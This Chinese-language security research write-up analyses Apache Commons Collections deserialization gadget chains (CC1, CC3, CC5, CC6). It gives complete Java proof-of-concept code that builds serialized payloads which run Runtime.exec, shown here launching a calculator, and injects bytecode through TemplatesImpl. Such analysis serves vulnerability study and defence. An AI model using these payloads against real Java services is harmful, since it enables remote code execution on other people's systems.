Contents

Apache Commons Collections反序列化链分析

来分析分析cc链…

Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象

通过接口实现查询,能获取到 ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 这些类均实现了 Transformer接口

官网:http://commons.apache.org/proper/commons-collections/

Github:https://github.com/apache/commons-collections

作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer

CommonsCollections1

**环境:**JDK1.7、commons-collections-3.1-3.2.1

漏洞点存在于

1
2
commons-collections-3.1-src.jar:
/org/apache/commons/collections/functors/InvokerTransformer.java

InvokerTransformer 类的transform方法中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法

commons_collections_analysis/(null)-20210827151854095.(null)

接下来我们需要利用反射调用恶意方法比如命令执行:Runtime.getRuntime().exec

但是得想办法构造出反射调用,类似下面的方式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import java.io.IOException;
public class ExecuteCMD {
    public static void main(String [] args) throws IOException{
        // 普通命令执行
        Runtime.getRuntime().exec(new String [] { "deepin-calculator" });

        // 通过反射执行命令
        try{
            Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
                    Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
                    new String [] { "deepin-calculator" }
            );
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

所以我们需要找到一处可以循环调用 transform 方法的地方来构造反射链

commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class中有合适的transform方法,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法

commons_collections_analysis/(null)-20210827151854200.(null)

所以我们可以构造上文提到的反射调用链,将 ChainedTransformerTransformer 属性按照如下构造:

1
2
3
4
5
6
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
};

数组第一个的ConstantTransformer 类执行 transform 方法后,会返回一个构造对象时传入的参数,在这里就是 Runtime.class

commons_collections_analysis/(null)-20210827151854437-0048734.(null)

在构造好这些后,我们现在需要寻找可以调用 ChainedTransformer.transform() 方法的类

网上公开的主要有两条链: TransformedMapLazyMap 这两个利用链

ysoserial中的cc1使用的是**LazyMap类,**调用链为:

1
2
3
4
5
6
sun.reflect.annotation.AnnotationInvocationHandler.readObject()
  -> memberValues.entrySet()
  -> AnnotationInvocationHandler.invoke()
  -> memberValues.get() => LazyMap.get()
  -> factory.transform() => ChainedTransformer.transform()
  -> 反射构造Runtime.getRuntime().exec()

使用 TransformedMap类的调用链为

1
2
3
4
sun.reflect.annotation.AnnotationInvocationHandler.readObject()
  -> memberValue.setValue() => TransformedMap.setValue() => TransformedMap.checkSetValue()
  -> valueTransformer.transform() => ChainedTransformer.transform()
  -> 反射构造Runtime.getRuntime().exec()

LazyMap

LazyMap是Commons-collections 3.1提供的一个工具类,是Map的一个实现,主要的内容是利用工厂设计模式,在用户get一个不存在的key的时候执行一个方法来生成Key值,当且仅当get行为存在的时候Value才会被生成。

LazyMap测试代码,在get一个不存在的key的时候执行一个方法来生成Key值,下面的代码运行结果会调用transform()输出”leon”:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public class Test{
    public static void main(String[] args) throws Exception {
        Map targetMap = LazyMap.decorate(new HashMap(), new Transformer() {
            public Object transform(Object input) {
                return "leon";
            }
        });
        System.out.println(targetMap.get("hhhhhhhh"));
    }
}

继续看调用链,在 LazyMap:get() 中发现调用了 transform 方法,且前面的 factory 可控,只需将factory 设置为 ChainedTransformer 即可触发ChainedTransformer.transform(),所以我们继续搜下哪里调用了这个 get 方法

commons_collections_analysis/(null)-20210827151853977.(null) commons_collections_analysis/(null)-20210827151854079.(null)

调用示意图:

commons_collections_analysis/(null)-20210827151854418.(null)

AnnotationInvocationHandler 类的 invoke 方法中,我们可以看到有 get() 方法调用,且 this.memberValues 可控,将memberValues设置为LazyMap,这样就可以成功触发memberValues.get() => LazyMap.get()

commons_collections_analysis/(null) commons_collections_analysis/(null)-20210827151855478.(null)

调用示意图:

commons_collections_analysis/(null)-20210827151854176.(null)

我们知道Proxy动态代理机制下被代理的类通过调用动态代理处理类(InvocationHandler)的invoke方法获取方法执行结果,通过动态代理,我们就可以触发这个 invoke 方法

所以我们可以利用Proxy动态代理AnnotationInvocationHandler,触发它的 invoke 方法,进而达成后续的调用链:

1
2
3
4
AnnotationInvocationHandler.invoke()
  -> memberValues.get() => LazyMap.get()
  -> factory.transform() => ChainedTransformer.transform()
  -> 反射构造Runtime.getRuntime().exec()

然后我们回到反序列化的触发处:AnnotationInvocationHandler.readObject()

readObject方法调用了memberValues.entrySet函数,在动态代理下会先调用invoke函数,最终达成了完整的利用链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class CC1_LazyMap {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "leon");
        //factory.transform() => ChainedTransformer.transform()
        Map outmap = LazyMap.decorate(innermap,transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
        Object instance = ctor.newInstance(Retention.class, mapProxy);

        return instance;
    }

    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
}

TransformedMap

同样的,先找能可控调用ChainedTransformer.transform() 方法的类,该类中有3个方法均调用了 transform(),分别是 transformKey()、transformValue()、checkSetValue() ,且类名均可控:

commons_collections_analysis/(null)-20210827151853976.(null)

接下来我们需要寻找重载了readObject方法的类且该readObject方法调用了上述其中之一可以触发调用 transform() 的方法,这样就可以构成完整的反序列化rce链

transformKey()transformValue() 在put公开方法中可以可控调用,但是寻找readObject方法中调用了的条件比较苛刻

commons_collections_analysis/(null)-20210827151853964.(null)

再看checkSetValue() 方法,注释说当调用该类的 setValue方法时,会自动调用 checkSetValue 方法,该类 setValue 方法继承自父类的AbstractInputCheckedMapDecorator ,我们看其父类代码:

commons_collections_analysis/(null)-20210827151854398.(null)

一直跟进发现最终调用了 Map.setValue() 方法,所以现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链,相对于寻找 TransformedMap.put() 方法方便了许多。

我们可以在 AnnotationInvocationHandler 类的 readObject 方法中看到 setValue 方法的调用:

commons_collections_analysis/(null)-20210827151900524.(null)

但是得先通过if判断,其中需要关注的就是 clazz、object 两个变量的值。实际上, clazz 的值只与 this.type 有关; object 只与 this.memberValues 有关,所以我们转而关注构造函数:

commons_collections_analysis/(null)-20210827151854437.(null)

在构造函数中,程序要求我们传入的第一个参数必须继承 java.lang.annotation.Annotation 接口。而在 Java 中,所有的注解实际上都继承自该接口,所以我们第一个变量传入一个JDK自带注解,这样第二个 Map 类型的变量也可以正常赋值

实际上,并不是将 this.type设置成任意注解类都能执行 **POC,**参考七月火师傅的结论:

网络上很多分析文章将 this.type 设置成 java.lang.annotation.Retention.class ,但是没有说为什么这个类可以。而在调试代码的过程中,我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如 java.lang.annotation.Retention、java.lang.annotation.Target 都可以触发,而 java.lang.annotation.Documented 则不行。而且我们 POC 中, innermap 必须有一个键名与注解类方法名一样的元素。而注解类方法返回类型将是 clazz 的值。

commons_collections_analysis/(null)-20210827151854655.(null) commons_collections_analysis/(null)-20210827151854778.(null)

最后poc如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class CC1_TransformedMap {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "leon");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        Object instance = ctor.newInstance(Retention.class, outmap);
        return instance;
    }

    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
}

CommonsCollections3

**环境:**JDK1.7、commons-collections-3.1-3.2.1

CommonsCollections3的前半段触发的利用链跟CommonsCollections1是一样的,主要对后半段进行分析

TemplatesImpl

TemplatesImpl 类位于com.sun.org``.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化,我们来看一下漏洞触发点。

首先我们注意到该类中存在一个成员属性 _class,是一个 Class 类型的数组,数组里下标为_transletIndex 的类会在 getTransletInstance() 方法中使用 newInstance() 实例化。

commons_collections_analysis/(null)-20210827151854616.(null)

newTransformer() 方法调用了 getTransletInstance() 方法:

commons_collections_analysis/(null)-20210827151854629.(null)

其中 defineTransletClasses()getTransletInstance() 中,如果 _class 不为空即会被调用:

commons_collections_analysis/(null)-20210827151854638.(null)

可以看到其中调用了defineClass函数,这里简单介绍一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class StaticBlockTest {
}

public class Cracker {

    public static byte[] generate(){
        try {
            String code = "{java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");}";
            ClassPool pool = ClassPool.getDefault();
            CtClass clazz = pool.get(StaticBlockTest.class.getName());
            clazz.setName("demo");
            clazz.makeClassInitializer().insertAfter(code);
            return clazz.toBytecode();
        // ...
    }
    public static void main(String[] args) {
        byte[] clazz = generate();
        DefiningClassLoader loader = new DefiningClassLoader();
        Class cls = loader.defineClass("demo",clazz);// 从字节数组中恢复类
        try {
            cls.newInstance(); // 实例化该类时会自动调用静态块内的代码
        } 
              // ...
    }
}

Java提供了ClassLoader从bytes数组中还原Class的方法,defineClass函数就是完成这一过程的函数。

理论上,如果代码中使用了这种方式,且byte数据的内容可控,我们可以执行任意Java代码

这里就用到了Java类的另一个特性,static block在类载入时自动执行块内的代码。我们可以通过javassist对静态块注入任意代码,该类被恢复并载入时会调用注入的代码,后文的利用链主要就是用到了这两个知识点

于是我们有了defineTransletClasses还原出类,getTransletInstance进行实例化,那么只需要构造一个合适的_bytecodes即可执行任意Java代码,还有一点需要注意,植入的templates._bytecodes数组,其最终还原的对象父类为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

TrAXFilter

在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,

TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发 TemplatesImpl 的攻击 payload 了

commons_collections_analysis/(null)-20210827151854750.(null)

InstantiateTransformer

现在我们需要实例化 TrAXFilter,我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer

Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例。

commons_collections_analysis/(null)-20210827151854876.(null)

到这关键方法都介绍了一遍,只需要串成一个完整的链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
ObjectInputStream.readObject()
   AnnotationInvocationHandler.readObject()
      Proxy(LazyMap).extrySet()
         AnnotationInvocationHandler.invoke()
         LazyMap.get()
            ChainedTransformer.transform()
             ConstantTransformer.transform()
             InstantiateTransformer.transform()
               (TrAXFilter)Constructor.newInstance()
                   TrAXFilter#TrAXFilter()
                  TemplatesImpl.newTransformer()
                     TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        PayLoadnewInstance()
                             Runtime.exec()

前半段链cc1已经介绍过了,这里是一样的,利用动态代理触发AnnotationInvocationHandler.invoke(),进而触发LazyMap.get()

commons_collections_analysis/(null)-20210827151854875.(null)

这里factory为传入的ChainedTransformer,所以继续调用ChainedTransformer.transform()

commons_collections_analysis/(null)-20210827151854848.(null)

然后循环调用transform,触发InstantiateTransformer.transform()

commons_collections_analysis/(null)-20210827151855006.(null)

接下来利用 InstantiateTransformer 实例化 TrAXFilter 类,并调用 TemplatesImpl 的 newTransformer 方法实例化恶意类字节码触发漏洞,与前面介绍的各个类就串联成了一个完整的利用链

值得一提的是用到了javassist动态创建字节码,或者也可以直接class文件读取字节码,前者明显方便很多

我们已经知道了两种Java的任意代码执行的构造方式:

  1. 利用可控的反射机制。具体的Class、Method等均可控时,利用反射机制,可以构造出任意的类调用、类函数调用
  2. 利用可控的defineClass函数的byte数组。构造恶意的Class字节码数组,对静态块注入恶意代码

cc3的poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public class TrAXFilter_Exploit {
    public static void main(String[] args) throws Exception{
        //1.先创建恶意类
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass tempExploitClass = pool.makeClass("evil");
        //一定要设置父类,为了后续顺利
        tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        //写入payload,生成字节数组
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
        tempExploitClass.makeClassInitializer().insertBefore(cmd);
        byte[] exploitBytes = tempExploitClass.toBytecode();


        //2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
        TemplatesImpl tmpl = new TemplatesImpl();
        //设置_bytecodes属性为exploitBytes
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{exploitBytes});
        //一定要设置_name不为空
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(tmpl, "leon");
        //_class为空
        Field _class = TemplatesImpl.class.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(tmpl, null);


        //3.构造chain,封装进LazyMap
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{tmpl}
                )
        };

        ChainedTransformer chain = new ChainedTransformer(transformers);
        HashMap innermap = new HashMap();
        LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,chain);

        //4. 拿到cons,先做一个h1,h1.memberValues = lazymap
        final Constructor cons = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler h1 = (InvocationHandler) cons.newInstance(Target.class,lazymap);

        // 创建LazyMap的动态代理类实例
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),h1);

        // 创建一个AnnotationInvocationHandler实例h2,并且把刚刚创建的代理赋值给h2.memberValues
        InvocationHandler h2 = (InvocationHandler)cons.newInstance(Target.class, mapProxy);


        ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc3.ser")));
        fout.writeObject(h2);
    }
}

CommonsCollections5

**环境:**JDK1.8、commons-collections-3.1-3.2.1

JDK 在 1.8 之后对 AnnotationInvocationHandler 类进行了修复,所以在 JDK 1.8 版本需要找出能替代 AnnotationInvocationHandler 的新的可以利用的类

所以这个对象需要满足:

  • 类可序列化,类属性有个可控的Map对象或Object

  • 该类的类函数上有调用这个Map.get的地方

TiedMapEntry

TiedMapEntry有一个map类属性,且在getValue处调用了map.get函数。同时toString、hashCode、equals均调用了getValue函数,这里关注toString函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public Object getValue() {
    return map.get(key);
}

public boolean equals(Object obj) {
    if (obj == this) {
        return true;
    }
    if (obj instanceof Map.Entry == false) {
        return false;
    }
    Map.Entry other = (Map.Entry) obj;
    Object value = getValue();
    return
        (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
        (value == null ? other.getValue() == null : value.equals(other.getValue()));
}

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

public String toString() {
    return getKey() + "=" + getValue();
}

接下来需要找到一个可以触发TiedMapEntry.toString的类

BadAttributeValueExpException

BadAttributeValueExpException类的readObject函数会自动调用类属性的toString函数,构造的时候把val属性设置为TiedMapEntry即可,因为是private属性,需要反射构造

commons_collections_analysis/(null)-20210827151854977.(null)

InvokerTransformer

这条链后半段就是cc1的TransformedMap,调用链如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
        TiedMapEntry.toString()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

前半段就是前文介绍的,反序列化时BadAttributeValueExpException.readObject()去调用TiedMapEntry.toString(),toString会调用getValue方法,getValue调用LazyMap.get(),最终完成反序列化链,poc如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class BadAttributeValueExpException_Exploit {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();

        Map lazyMap = LazyMap.decorate(innerMap,chain);
        TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);
        BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(payload,tmap);

        ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc5_InvokerTransformer.ser")));
        fout.writeObject(payload);
    }
}

InstantiateTransformer

其实cc3将前半段改为BadAttributeValueExpException.readObject-> TiedMapEntry.toString-> LazyMap.get调用,又可以组成一条新链,poc就不放了,利用链如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
        TiedMapEntry.toString()
            LazyMap.get()
                ChainedTransformer.transform()
                ConstantTransformer.transform()
                InstantiateTransformer.transform()
                  (TrAXFilter)Constructor.newInstance()
                      TrAXFilter#TrAXFilter()
                     TemplatesImpl.newTransformer()
                        TemplatesImpl.getTransletInstance()
                         TemplatesImpl.defineTransletClasses()
                           PayLoadnewInstance()
                                Runtime.exec()

TemplatesImpl

先给出利用链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
ObjectInputStream.readObject()
   BadAttributeValueExpException.readObject()
     TiedMapEntry.toString()
      TiedMapEntry.getValue()
        LazyMap.get()
         InvokerTransformer.transform()
            Method.invoke()
               TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()
                  TemplatesImpl.defineTransletClasses()
                    Class.newInstance()
                     Runtime.exec()

在TiedMapEntry的getValue中会将key参数传入,之后transform也会将key传递

commons_collections_analysis/(null)-20210827151854921.(null)

在cc1中介绍过,InvokerTransformer.transform利用反射调用,这里直接input就是传入的key值,也就是TemplatesImpl类,利用反射调用直接调用TemplatesImpl.newTransformer,进而回到我们在cc3介绍过的TemplatesImpl类下的一系列触发链,最后调用defineClass进行字节码执行。

commons_collections_analysis/(null)-20210827151856370.(null)

poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class TemplatesImpl_Exploit {
    public static void main(String[] args) throws  Exception{
        //1.先创建恶意类
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass tempExploitClass = pool.makeClass("evil");
        //一定要设置父类,为了后续顺利
        tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        //写入payload,生成字节数组
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
        tempExploitClass.makeClassInitializer().insertBefore(cmd);
        byte[] exploitBytes = tempExploitClass.toBytecode();


        //2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件
        TemplatesImpl tmpl = new TemplatesImpl();
        //设置_bytecodes属性为exploitBytes
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{exploitBytes});
        //一定要设置_name不为空
        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(tmpl, "leon");
        //_class为空
        Field _class = TemplatesImpl.class.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(tmpl, null);


        //3.构造InvokerTransformer
        InvokerTransformer iInvokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        //InvokerTransformer iInvokerTransformer = new InvokerTransformer("getOutputProperties",new Class[]{},new Object[]{});也可以

        HashMap innermap = new HashMap();
        LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,iInvokerTransformer);
        TiedMapEntry tmap = new TiedMapEntry(lazymap, tmpl);
        BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(payload,tmap);

        ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc5_TemplatesImpl.ser")));
        fout.writeObject(payload);
        }
    }

CommonsCollections6

HashMap

在 CC5 中介绍TiedMapEntry的时候之前看到了hashcode方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,现在需要找到如何去触发TiedMapEntry.hashCode

后半段链不变,还是CC1的TransformedMap链后半部分

在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值,也就是HashMap的readObject方法:

commons_collections_analysis/(null)-20210827151855117.(null) commons_collections_analysis/(null)-20210827151855039.(null) commons_collections_analysis/(null)-20210827151855115.(null)

但是构造完后发现,在LazyMap.get方法中会判断不通过,链子会断掉,无法进入ChainedTransformer.transform

我们可以改写一下,将lazyMap中hashmap的put之后的key去掉,这样就可以先执行,然后在反序列化时候再执行一遍,用lazyMap.remove(123)或者lazyMap.clear()都行

commons_collections_analysis/(null)-20210827151855158.(null)

利用链如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
ObjectInputStream.readObject()
    HashMap.readObject()
        HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
            TiedMapEntry.getValue()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class HashMap_Exploit {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();

        Map lazyMap = LazyMap.decorate(innerMap,chain);
        TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);

        HashMap hashMap = new HashMap();
        hashMap.put(tmap, "test");
        lazyMap.clear();

        ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc6_HashMap.ser")));
        fout.writeObject(hashMap);
    }
}

fackchain

在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再利用反射将lazymap内部的_itransformer属性改回到真正的chain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class fackchain_Exploit {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
        };

        Transformer[] fakeTransformer = new Transformer[]{};

        //fake chain
        Transformer chain = new ChainedTransformer(fakeTransformer);

        HashMap innerMap = new HashMap();

        //先构造假的chain
        Map lazyMap = LazyMap.decorate(innerMap,chain);
        TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);

        HashMap hashMap = new HashMap();
        hashMap.put(tmap, "test");

        //用反射再改回真的chain
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chain, transformers_exec);
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        lazyMap.clear();

        ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc6_fakechain.ser")));
        fout.writeObject(hashMap);
    }
}

HashSet

HashSet的readObject方法会调用map.put,这里map可以控制为HashMap,进而调用HashMap.put

commons_collections_analysis/(null)-20210827151855278-0048735.(null)

HashMap.put又会去调用HashMap.hash方法对key进行hashCode操作

这里k就是传入的key,所以当我们控制key为TiedMapEntry的key时,就可以触发TiedMapEntry.hashCode,从而回到之前介绍过的利用链上

commons_collections_analysis/(null)-20210827151855280.(null)

利用链如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 ObjectInputStream.readObject()
     HashSet.readObject()
         HashMap.put()
         HashMap.hash()
             TiedMapEntry.hashCode()
             TiedMapEntry.getValue()
                 LazyMap.get()
                     ChainedTransformer.transform()
                         ConstantTransformer.transform
                         InvokerTransformer.transform(
                             Method.invoke()
                                 Class.getMethod()
                         InvokerTransformer.transform(
                             Method.invoke()
                                 Runtime.getRuntime()
                         InvokerTransformer.transform(
                             Method.invoke()
                                 Runtime.exec()

